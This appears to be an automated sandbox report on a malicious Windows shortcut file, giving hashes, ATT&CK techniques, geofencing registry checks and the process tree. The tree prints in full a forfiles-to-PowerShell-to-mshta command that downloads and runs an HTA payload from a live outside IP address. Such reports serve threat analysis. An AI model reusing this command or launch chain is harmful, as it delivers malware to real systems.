6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd

Analysis

max time kernel
137s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
16/03/2024, 02:25

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General

Target

6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
Size

1KB
MD5

90a6eed71981efdcdbc0c8c0151cfb0e
SHA1

c21e13a29ad18e73b88eddec919b85925a95952a
SHA256

6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd
SHA512

fa7b96a7e404dc187d43f04ccd55637a959fbb7950d6b69e80539b4026cfd62460a74330dadb2a8e1578ddf0b87f31a4c8bac6451bd57130aa90f5a5bce77bbd

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://89.23.98.210/qqeng

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	2732	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3544	powershell.exe
3544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3544	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3532 wrote to memory of 2044	3532	cmd.exe	90
PID 3532 wrote to memory of 2044	3532	cmd.exe	90
PID 2044 wrote to memory of 3544	2044	forfiles.exe	91
PID 2044 wrote to memory of 3544	2044	forfiles.exe	91
PID 3544 wrote to memory of 2732	3544	powershell.exe	92
PID 3544 wrote to memory of 2732	3544	powershell.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://89.23.98.210/qqeng
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    start mshta http://89.23.98.210/qqeng
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" http://89.23.98.210/qqeng
      4⤵
      Blocklisted process makes network request
      PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wdsemkh.xeu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3544-10-0x00007FF8E4D90000-0x00007FF8E5851000-memory.dmp

Filesize
10.8MB

Download
memory/3544-9-0x000001DD36340000-0x000001DD36362000-memory.dmp

Filesize
136KB

Download
memory/3544-11-0x000001DD4EAC0000-0x000001DD4EAD0000-memory.dmp

Filesize
64KB

Download
memory/3544-12-0x000001DD4EAC0000-0x000001DD4EAD0000-memory.dmp

Filesize
64KB

Download
memory/3544-15-0x00007FF8E4D90000-0x00007FF8E5851000-memory.dmp

Filesize
10.8MB

Download